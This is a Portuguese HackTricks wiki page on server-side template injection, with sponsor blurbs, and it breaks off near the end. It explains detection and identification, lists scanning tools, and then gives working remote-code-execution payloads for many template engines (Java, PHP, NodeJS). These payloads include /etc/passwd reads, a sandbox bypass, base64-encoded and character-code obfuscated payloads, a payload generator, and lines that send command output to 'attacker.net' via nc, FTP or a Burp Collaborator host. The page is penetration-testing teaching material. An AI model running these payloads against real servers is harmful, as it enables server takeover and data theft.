# SSTI (Injeção de Template no Lado do Servidor)
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family) * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %} ## O que é injeção de template no lado do servidor? Uma injeção de template no lado do servidor ocorre quando um atacante consegue usar a sintaxe nativa do template para injetar uma carga maliciosa em um template, que é então executado no lado do servidor. **Motores de template** são projetados para **gerar páginas web** combinando **templates fixos** com **dados voláteis**. Ataques de injeção de template no lado do servidor podem ocorrer quando **entradas de usuários** são concatenadas diretamente **em um template**, em vez de serem passadas como dados. Isso permite que atacantes **injetem diretivas arbitrárias de template** para manipular o motor de template, muitas vezes possibilitando a eles tomar **controle completo do servidor**. Um exemplo de código vulnerável é o seguinte: ```php $output = $twig->render("Dear " . $_GET['name']); ``` No exemplo anterior, **parte do template** está sendo **gerada dinamicamente** usando o parâmetro `GET` `name`. Como a sintaxe do template é avaliada pelo lado do servidor, isso potencialmente permite que um atacante coloque um payload de injeção de template do lado do servidor dentro do parâmetro `name` da seguinte forma: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` ## Construindo um ataque de injeção de template no lado do servidor ![](../../.gitbook/assets/ssti-methodology-diagram.png) ### Detectar Como em qualquer vulnerabilidade, o primeiro passo para a exploração é ser capaz de encontrá-la. Talvez a abordagem inicial mais simples seja tentar **fuzzing no template** injetando uma sequência de caracteres especiais comumente usados em expressões de template, como o poliglota **`${{<%[%'"}}%\`.**\ Para verificar se o servidor está vulnerável, você deve **observar as diferenças** entre a resposta com **dados regulares** no parâmetro e o **payload fornecido**.\ Se um **erro for gerado**, será bastante fácil concluir que **o servidor está vulnerável** e até mesmo qual **motor está em execução**. Mas você também pode encontrar um servidor vulnerável se estiver **esperando** que ele **reflita** o payload fornecido e ele **não está sendo refletido**, ou se houver alguns **caracteres ausentes** na resposta. **Detectar - Contexto de texto simples** A entrada fornecida está sendo **renderizada e refletida** na resposta. Isso é facilmente **confundido com uma simples** vulnerabilidade [**XSS**](../xss-cross-site-scripting/), mas é fácil diferenciar se você tentar definir **operações matemáticas** dentro de uma expressão de template: ``` {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} *{7*7} ``` **Detectar - Contexto de código** Nestes casos, a **entrada do usuário** está sendo colocada **dentro** de uma **expressão de template**: ```python engine.render("Hello {{"+greeting+"}}", data) ``` O acesso à URL que acessa essa página pode ser semelhante a: `http://vulnerable-website.com/?greeting=data.username` Se você **alterar** o parâmetro **`greeting`** por um **valor diferente**, a **resposta não conterá o nome de usuário**, mas se você acessar algo como: `http://vulnerable-website.com/?greeting=data.username}}hello`, então, **a resposta conterá o nome de usuário** (se os caracteres de fechamento da expressão de template forem **`}}`**).\ Se um **erro** for gerado durante esses testes, será mais fácil encontrar se o servidor está vulnerável. ### Identificar Uma vez que você detectou o potencial de injeção de template, o próximo passo é identificar o motor de template.\ Embora existam um grande número de linguagens de template, muitas delas usam uma sintaxe muito semelhante que é escolhida especificamente para não entrar em conflito com os caracteres HTML. Se você tiver sorte, o servidor estará **imprimindo os erros** e você poderá encontrar o **motor** usado **dentro** dos erros. Algumas cargas úteis possíveis que podem causar erros: | `${}` | `{{}}` | `<%= %>` | | ----------- | ------------ | --------------- | | `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` | | `${foobar}` | `{{foobar}}` | `<%= foobar %>` | | `${7*7}` | `{{7*7}}` | \`\` | Caso contrário, você precisará **testar manualmente diferentes cargas úteis específicas da linguagem** e estudar como elas são interpretadas pelo motor de template. Uma maneira comum de fazer isso é injetar operações matemáticas arbitrárias usando a sintaxe de diferentes motores de template. Você pode então observar se elas são avaliadas com sucesso. Para ajudar nesse processo, você pode usar uma árvore de decisão semelhante à seguinte: ![](<../../.gitbook/assets/image (272).png>) ### Explorar **Ler** O primeiro passo após encontrar a injeção de template e identificar o motor de template é ler a documentação. Áreas-chave de interesse são: * Seções 'Para Autores de Template' que cobrem a sintaxe básica. * 'Considerações de Segurança' - é provável que quem desenvolveu o aplicativo que você está testando não tenha lido isso, e pode conter algumas dicas úteis. * Listas de métodos, funções, filtros e variáveis embutidos. * Listas de extensões/plugins - alguns podem estar habilitados por padrão. **Explorar** Assumindo que nenhum exploit se apresentou, o próximo passo é **explorar o ambiente** para descobrir exatamente a que **você tem acesso**. Você pode esperar encontrar tanto **objetos padrão** fornecidos pelo motor de template, quanto **objetos específicos da aplicação** passados para o template pelo desenvolvedor. Muitos sistemas de template expõem um objeto 'self' ou namespace contendo tudo no escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto. Se não houver um objeto self embutido, você terá que forçar bruta os nomes das variáveis usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) e a coleção de wordlist do Burp Intruder. Objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes templates dentro de uma aplicação, portanto, esse processo deve idealmente ser aplicado a cada template distinto individualmente. **Atacar** Neste ponto, você deve ter uma **ideia firme da superfície de ataque disponível** para você e poderá prosseguir com técnicas tradicionais de auditoria de segurança, revisando cada função em busca de vulnerabilidades exploráveis. É importante abordar isso no contexto da aplicação mais ampla - algumas funções podem ser usadas para explorar recursos específicos da aplicação. Os exemplos a seguir usarão injeção de template para acionar a criação de objetos arbitrários, leitura/escrita de arquivos arbitrários, inclusão de arquivos remotos, divulgação de informações e vulnerabilidades de escalonamento de privilégios. ## Ferramentas ### [TInjA](https://github.com/Hackmanit/TInjA) um scanner eficiente de SSTI + CSTI que utiliza políglotas inovadores ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." ``` ### [SSTImap](https://github.com/vladko312/sstimap) ```bash python3 sstimap.py -i -l 5 python3 sstimap.py -u "http://example.com/ --crawl 5 --forms python3 sstimap.py -u 'https://example.com/page?name=John' -s ``` ### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ### [Tabela de Injeção de Template](https://github.com/Hackmanit/template-injection-table) uma tabela interativa contendo os poliglotas de injeção de template mais eficientes junto com as respostas esperadas dos 44 motores de template mais importantes. ## Exploits ### Genérico Nesta **wordlist** você pode encontrar **variáveis definidas** nos ambientes de alguns dos motores mencionados abaixo: * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) ### Java **Java - Injeção básica** ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` **Java - Recuperar as variáveis de ambiente do sistema** ```java ${T(java.lang.System).getenv()} ``` **Java - Recuperar /etc/passwd** ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ### FreeMarker (Java) Você pode testar seus payloads em [https://try.freemarker.apache.org](https://try.freemarker.apache.org) * `{{7*7}} = {{7*7}}` * `${7*7} = 49` * `#{7*7} = 49 -- (legado)` * `${7*'7'} Nada` * `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` **Freemarker - Bypass de Sandbox** ⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30 ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` **Mais informações** * Na seção FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) ### Velocity (Java) ```java #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ``` **Mais informações** * Na seção Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) ### Thymeleaf (Java) A expressão de teste típica para SSTI é `${7*7}`. Esta expressão também funciona no Thymeleaf. Se você deseja alcançar execução remota de código, pode usar uma das seguintes expressões de teste: * SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}` * OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}` No entanto, como mencionamos anteriormente, expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em um local diferente no template, o Thymeleaf suporta _inserção de expressões_. Para usar esse recurso, você deve colocar uma expressão dentro de `[[...]]` ou `[(...)]` (escolha um ou outro dependendo se você precisa escapar símbolos especiais). Portanto, um payload simples de detecção de SSTI para Thymeleaf seria `[[${7*7}]]`. As chances de o payload de detecção acima funcionar são, no entanto, muito baixas. Vulnerabilidades de SSTI geralmente ocorrem quando um template é gerado dinamicamente no código. O Thymeleaf, por padrão, não permite tais templates gerados dinamicamente e todos os templates devem ser criados anteriormente. Portanto, se um desenvolvedor deseja criar um template a partir de uma string _em tempo real_, ele precisaria criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente. Se olharmos mais a fundo na documentação do motor de template do Thymeleaf, encontraremos um recurso interessante chamado _**pré-processamento de expressões**_. Expressões colocadas entre duplos sublinhados (`__...__`) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf: ```java #{selection.__${sel.code}__} ``` **Exemplo Vulnerável** ```markup http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **Mais informações** * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Spring Framework (Java) ```java *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} ``` **Bypass de filtros** Múltiplas expressões de variáveis podem ser usadas, se `${...}` não funcionar tente `#{...}`, `*{...}`, `@{...}` ou `~{...}`. * Ler `/etc/passwd` ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` * Script Personalizado para geração de payload ```python #!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` **Mais Informações** * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) ### Manipulação de Visualização Spring (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` * [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Pebble (Java) * `{{ someString.toUPPERCASE() }}` Versão antiga do Pebble ( < versão 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` Nova versão do Pebble: ```java {% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ### Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) **Jinjava - Execução de comando** Corrigido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) ### Hubspot - HuBL (Java) * `{% %}` delimitadores de instrução * `{{ }}` delimitadores de expressão * `{# #}` delimitadores de comentário * `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String * `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Procure por "com.hubspot.content.hubl.context.TemplateContextRequest" e descobriu o [projeto Jinjava no Github](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` **Mais informações** * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) ### Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. * `#{7*7}` - 49 * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas web) comunique-se com a lógica da aplicação (managed beans). O EL é utilizado por **várias tecnologias JavaEE**, como a tecnologia JavaServer Faces, tecnologia JavaServer Pages (JSP) e Contexts and Dependency Injection para Java EE (CDI).\ Confira a seguinte página para aprender mais sobre a **exploração de interpretadores EL**: {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Groovy (Java) Esta forma de contornar o Security Manager foi retirada deste [**relatório**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ```
​​[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Mais informações** * Na seção Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Erro` * `{{foobar}} Nada` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - Formato de template** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Mais informações** * Na seção Twig e Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates é inspirado pelo Twig, mas é um motor de template PHP nativo em vez de um motor de template compilado. controller: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` modelo de página: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` layout de template: ```html <?=$this->e($title)?> section('content')?> ``` ### PHPlib e HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) é o mesmo que PHPlib, mas portado para Pear. `authors.tpl` ```html {PAGE_TITLE}
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
``` `authors.php` ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` ### Jade (NodeJS) ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **Mais informações** * Na seção Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template) é um motor de templating PHP que não compila, e utiliza tags XML para dividir um documento em diferentes partes ```xml This is the main page. It contains another template. Hello {NAME}.
``` ### Handlebars (NodeJS) Path Traversal (mais informações [aqui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` * \= Erro * ${7\*7} = ${7\*7} * Nada ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` **Mais informações** * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) | **Template** | **Descrição** | | ------------ | --------------------------------------- | | | Avaliar e renderizar saída | | | Avaliar e renderizar saída codificada em HTML | | | Comentário | | and | Permitir código (desativado por padrão) | * \= 49 **Lado do Cliente** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **Lado do Servidor** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **Mais informações** * 